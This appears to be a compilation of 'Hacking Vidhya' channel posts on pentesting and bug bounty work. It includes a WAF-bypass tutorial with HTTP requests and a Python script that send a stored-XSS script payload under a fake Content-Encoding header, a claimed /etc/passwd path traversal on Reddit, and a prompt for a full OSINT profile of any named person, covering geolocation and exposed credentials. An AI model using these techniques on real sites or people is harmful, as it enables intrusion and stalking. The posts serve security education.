Hacking Vidhya

CVE-2025-48799: Windows Update Service LPE PoC: https://github.com/Wh04m1001/CVE-2025-48799 Patched: July 8, 2025

This vulnerability affects windows clients (win11/win10) with at least 2 hard drives.

#lpe #windows #pentest #redteam

This hacker got free $500k from a single bug on ERC404 On February 14, 2024, the MINER project, built on the experimental ERC404 standard, was exploited for 168.8 ETH, roughly $470,000. The hack was possible due to a misimplemented transfer function in the project’s ERC-X contract, a hybrid of ERC20, ERC721, ERC1155, and ERC404 standards. I will break down the technical and conceptual details of the hack. What is ERC404? ERC404 is an experimental Ethereum token standard that combines fungible (ERC20) and non-fungible (ERC721) token properties. It is a framework where one whole ERC404 token represents both an ERC20 token and an ERC721 NFT. If a wallet holds one full ERC404 token, it owns the corresponding NFT. If the balance drops below one token (e.g., 0.5 tokens), the NFT is burned, and the wallet holds only the fractional ERC20 tokens. This mint-and-burn mechanism ties ERC20 liquidity to ERC721 uniqueness, enabling fractional NFT ownership. What is the MINER Project? MINER is a collection of 100,000 avatars linked to ERC-X tokens, which are built on a custom implementation of ERC404. Each ERC-X token is a hybrid asset that can function as both a fungible token (tradable on decentralized exchanges like Uniswap) and an NFT (tradable on marketplaces like OpenSea). The project aimed to leverage ERC404’s fractionalization to increase liquidity for its avatars. The Misimplemented Transfer Function The ERC-X contract’s transfer function is the mechanism that moves tokens between addresses. In the MINER project, this function contained a critical flaw: it failed to check if the sender (from) and receiver (to) addresses were different. Here’s how it worked: - The Bug: The transfer function checked that from and to were not null addresses but did not verify that from != to. This allowed an attacker to call the transfer function with the same address as both sender and receiver. - The Exploit: When the transfer function was called, it invoked an internal _update function. This function cached the sender’s and receiver’s balances in memory, subtracted the transfer amount from the sender’s balance (fromBalance - value), and added it to the receiver’s balance (toBalance + value). If from and to were the same address, the subtraction and addition canceled out, but the function still updated the balance to toBalance + value. This effectively increased the attacker’s balance without any actual transfer, allowing them to mint new tokens for free. - The Impact: The attacker exploited this double-spend vulnerability to siphon 168.8 ETH from the contract, causing a 60% price drop in MINER tokens, as reported by Geckoterminal. Why Did This Happen? The root cause is a lack of input validation in the transfer function. A simple check (if (from == to) revert;) could have prevented the exploit. The ERC404 standard’s experimental nature also contributed, as it has not been formally audited or adopted by the Ethereum community. Deployed just days before the hack, the MINER contract lacked rigorous testing, exposing it to known vulnerabilities. For Developers: - Input Validation is Non-Negotiable: Always validate that from and to addresses differ in transfer functions. A single line of code can prevent catastrophic losses. - Before deploying contracts using experimental frameworks, conduct thorough audits and stress-test edge cases. - Follow Best Practices: Use established libraries like OpenZeppelin for ERC20 and ERC721 implementations, which include battle-tested transfer logic. For Security Researchers: - ERC404’s mix of ERC20 and ERC721 introduces unique risks, such as collisions in transfer events or mint-and-burn logic. Prioritize analyzing these overlaps for new attack vectors. - Test Self-Transfer Scenarios - Monitor New Deployments For Crypto Traders: - Avoid Unaudited Projects - Watch for Price Anomalies, A 60% price drop signaled the MINER exploit. - Use Burner Wallets

🚨 Hacking Vidhya – OffSec X is BACK! 🚨 📂 Packed with advanced cybersecurity content, OffSec X materials, and much more! 🔥 💡 Join now for exclusive free resources and pro-level learning. 🔗 Join Here: https://t.me/addlist/ecJCGDb4raIxOWI1 ⚡ Be part of the action – join, drop your feedback, and react to the post so we know what you want next! 🙌

Prompt: “Conduct a full OSINT (Open Source Intelligence) investigation on the target: [insert target name or entity]. Focus areas should include: • Basic profile (name, aliases, known associations) • Online presence (websites, social media accounts, forums, etc.) • Business interests (registered companies, trademarks, products) • Legal and regulatory records (lawsuits, government filings, sanctions) • Financial activity (investments, partnerships, donations, crowdfunding, crypto wallets) • Geolocation data (locations tied to the subject via social posts, images, check-ins) • News/media presence (recent articles, controversies, public statements) • Cybersecurity indicators (breaches, data leaks, exposed credentials, darknet mentions) • Domain and infrastructure analysis (WHOIS data, IP tracking, hosting providers) • Affiliations and networks (organizations, key individuals, affiliations, influence map) Use up-to-date and verifiable information from reliable open sources. Provide citations or links for each piece of data. Highlight any anomalies, patterns, or red flags. Suggest next steps or further areas of inquiry based on findings. Present the report in a structured format with clear section headings.”

🚀 Directory Path Traversal Found on Reddit! 🔥 I discovered a directory path traversal vulnerability at Reddit! 🕵️‍♂️ Check out the archived link below and try accessing it via Wayback Machine: 🔗 https://web.archive.org/web/20220823104615/https://www.reddit.com/etc/passwd This is why archived URLs can be goldmines for bug hunters! 🏆💻 Don’t forget to drop your reactions & stars ⭐️✨—your support fuels my energy to post more content! 🔋🚀 🔗 @hacking_vidhya Reson(They say out of scop) it's a honey trap😂😂😂😂😂

🚨 CVE-2025-8088: WinRAR Zero-Day Used to Deploy RomCom Backdoors ESET has identified spearphishing campaigns leveraging malicious RAR attachments to exploit CVE-2025-8088—a WinRAR zero-day vulnerability. This technique delivers RomCom backdoors, attributed to threat actor Storm-0978 (aka Tropical Scorpius / UNC2596). https://bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/ To support fellow Defenders, I’ve crafted a KQL detection to surface indicators of this exploitation. It’s designed to help identify Storm-0978 activity until your infrastructure team rolls out the necessary patch. https://detections.ai/share/rule/MDriTXqE

⚡ What if GPT-4 could be your Pentesting Partner? 🤯 Imagine running payload generation, enumeration, and attack simulations… all by just talking to your tool. Meet AIPentestCopilot – an AI-powered assistant for penetration testing that works like your AI red team buddy. 💡 Why it’s exciting: ✅ GPT-4 integration for smart, context-aware responses ✅ Real-time CLI interface for instant testing ✅ Plugin-based system to add your own tools & scripts Whether you’re a beginner experimenting with ethical hacking or a pro running advanced simulations, this could change the way you pentest. 🔗 Dive in: https://lnkd.in/gNGZa4Er Would you trust AI to run your next pentest? 🤔 #CyberSecurity #AISecurity #RedTeam #Pentesting #EthicalHacking

🎥 OSINT Conference Recording is Live! 🔍 Missed our first OSINT conference? Don’t worry — here’s the full recording for you to watch and learn! 👉 Watch now: https://www.youtube.com/watch?v=kgVA8pM-dPo We covered practical tools, real-world cases, and actionable tips. 📌 If you’re into Cybersecurity, Bug Hunting, and AI — stay here for more updates & upcoming sessions! #OSINT #CyberSecurity #BugBounty #AI #InfoSec #HackingVidhya

https://www.linkedin.com/posts/eshan-singh04_hack-the-box-meetup-dubai-uae-exclusive-activity-7357864859675357184-8Nr0?utm_source=share&utm_medium=member_android&rcm=ACoAACywaNIB7LZ8hBk2ipbq4cDpI5wYp5IEYAI https://meet.google.com/ori-ogph-bkn

🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header. 💡 Two Tricks: 1️⃣ Valid Compression (e.g. gzip, deflate) Compress your payload. Send it with Content-Encoding: gzip. Many WAFs won't decompress it and will miss the XSS. 2️⃣ Fake or Random Content-Encoding Use a random or incorrect value like Content-Encoding: xyz. Some backends ignore unknown encodings and just process the request body normally. Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass. 📌 Example with gzip compression: POST /submit-comment HTTP/1.1  Host: target.com  Content-Encoding: gzip  Content-Type: application/x-www-form-urlencoded [ gzip-compressed payload with: <script>alert(1)</script> ] 📌 Example with fake encoding: POST /submit-comment HTTP/1.1  Host: target.com  Content-Encoding: x-nonsense  Content-Type: application/x-www-form-urlencoded comment=<script>alert(1)</script> 🧠 Why it works: WAFs might block based on the header alone or misinterpret it. The backend may not enforce the declared encoding and just process the raw body. 🛠️ Python Example: import requests payload = 'comment=<script>alert(1)</script>' headers = {     'Content-Encoding': 'x-xyz123',  # Random/fake value     'Content-Type': 'application/x-www-form-urlencoded' } requests.post('https://target.com/submit-comment', data=payload, headers=headers) ⚠️ Notes: Behavior varies between servers and WAFs. Best used when stored content is later rendered in a browser (Stored XSS). Always test on a case-by-case basis. #BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding

AWS Pentesting: S3 Bucket Recon #S3 #Bucket #recon #AWS AWS S3 is one of the most popular storage solutions, but it's also a common misconfiguration target that can lead to critical data exposure. As a cloud penetration tester, understanding how to conduct recon for S3 buckets is crucial in assessing the external security posture of an organization's AWS environment. In this walkthrough, we'll cover the methods to check for exposed S3 buckets and analyze the access level for different scenarios: when a bucket is publicly exposed, when you have AWS keys, and how to validate access permissions. In this walkthrough, we will use a combination of S3 buckets from flaws.cloud, Dafthack's glitchcloud bucket, and my own s3 bucket. http://flaws.cloud/